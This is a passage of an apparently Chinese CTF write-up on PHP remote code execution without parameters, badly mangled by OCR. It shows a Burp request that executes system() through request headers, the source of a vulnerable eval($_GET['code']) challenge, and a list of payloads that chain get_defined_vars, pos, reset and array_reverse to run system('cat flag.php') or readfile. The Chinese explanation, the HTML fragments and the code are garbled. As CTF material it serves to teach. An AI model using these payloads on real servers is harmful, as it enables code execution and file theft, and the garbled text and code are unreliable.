pan>dspan style="color: #0077007%, &nbsp; </ span
007700720 {hr /onbsp; Enbsp; Enbsp ; &nbep; &
E0000BE" *$exp /span>{span style="coler: F00TTOI
{Bnbsp  Enbsp | &nbsp . nbsp | Enbsp | fnbsp | Enbs
E000000" " NoNoNo, Uknbsp ; REnbsp: Hacker ™ </sp
[ &nbsp ; &nbsp ;&nbsp ; &nbsp; } br [} else {tbr
EDDO000 > "Yhat' sknbsp; this?" < /spani<span sty
#O000BE">Pgn; <br /></span>
</ span>
feoder<br >

BT RPATS, BIIPATWhoamify £

[ Go J Cancel {."] >

Request Response

E Params | Headers | Hex E Headers | Hex

GET /no.phplexp=svstemlarray_shiftlapache_request_headers())); HTTP/L 1 4 HITF/1.1 200 0K

Host: 127.0.0.1

User-Agent: NozillafS 0 (Windows NT 10,0, Wingd, x84, rv:95 0) Geecko/ /20100101 Firefox/95. 0
Aecept: textShiml, application/shrel+eml, application/sml; 4=0. 9, image/avif, image/webp, #/%; q=0. 8
Accept-Lenguage: z@-CH, zh;q=0. 8, zh-TN; g=0. 7, zh-HK; g=0. &, en-U3; q=0. 3, en; g=0. 2

Aecept-Encoding: geip, deflate

Commection: closs,
Coockie: _ga=GAl. J 1592130974, 1616553076, bdshare_firstime=1616653211%43
Upgrade-InsecurefRequesta: 1

Sec-Fetch-Dest:
Sec-Fetch-Node fnavizate
Sec-Fetch-5it
Sec-Fatch-Us
Cantent-Leng1f:

A ELEphp7 UL & B 3h
[ % 5 Z]RCE_No Para

Date: Sun, 09 Jan 2022 07:40:06 GHT

Server: Apache/2 4. 23 (Win32) OpenSSLSL1 D, 2;
X-Pewered-Fv: PHE/7. 2.1

Comnection: close

Content-Tvpe: text/html: charset=UIF-&
Content-Length: 2168

<eoder{span style="color: #000000%:

<span style="coler: “0000BE™:&1t; Pphpikr [
style="color: #0000BE™>__FILE_ </span>{spar
Z0000BE ™ $expdnbsp ; </spanr<span style="col:
#0000BR "> $_GET</span><span style="color: #0
style="eelor: #007TT007); <bx /3
J < fapans<apan atyle="color: #007700% i€ (<
style="color: 0077007 ===knbsp;</spans<{zp
20077007 {</span?<span style="color: sDDOOM
20077007, 8nbsp; </spant<span styls= coler:
style="color: #O0DRR">$expd spansispan sty
/ “Bnbep ; EBnbsp ; gnbep; &nbsp ; i £ {! </span><ap
#007700": {</span><zpan style="color:|
0000007 o v b lprint |var |time |[file |sagx
panr<span style="color: #00T700">, &nbsp; <z
2007700723 {br S fnbsp ; &nbsp &nbsp ; Bnbs)
HO0000BR " > $exp< fepan (span style="calor: #00
/Ambep; Enbep ; nbsp; dnbsp ; Bnbsp; knbep; &
0000007 " Holloba, Uknbsp : Rénbsp: Hacker " ¢
/8mbsp; knbsp ; dnbsp: &nbsp; ) br /) else (¢
SDDC0007:"What’ sknbsp; this?"</span>{span
#O0006R "> Tt <br Jr</span

<fapan>

<feodexibr [f:

par < span




<?php
if(";' === preg_replace('/[A\W]+\((?R)?\)/", "', $_GET['code'])) {
if(!preg_match('/session|end|nextjheader|dir/i',$_GET['code'])){
eval($_GET['code");
else{
die("Hacker!");

}

Lelse{
show_source(__ FILE_);

7>

Ak R B R XA EA, REEEE, MmEMRCE.
L ik posEcurrenti B4, G0 R AR BEE AT LAE Flreset(), % BRI BUR B E 4 — A TTHIME, R E 4 A )R [
FALSE

£ 3 1) —Payload:

?flag=system('cat flag.php');&code=eval(pos(pos(get_defined_vars())));

?flag=system('cat flag.php');&code=eval(pos(reset(get_defined vars())));
?flag=readfile('flag.php');&code=eval(implode(reset(get_defined vars())));
?code=eval(current(array_reverse(current(get defined vars()))));&flag=system('cat flag.php');

?code=eval(current(array_reverse(reset(get_defined_vars()))));&flag=system('cat flag');

?code=eval(current(array_reverse(pos(get_defined_vars()))));&flag=system('cat flag');
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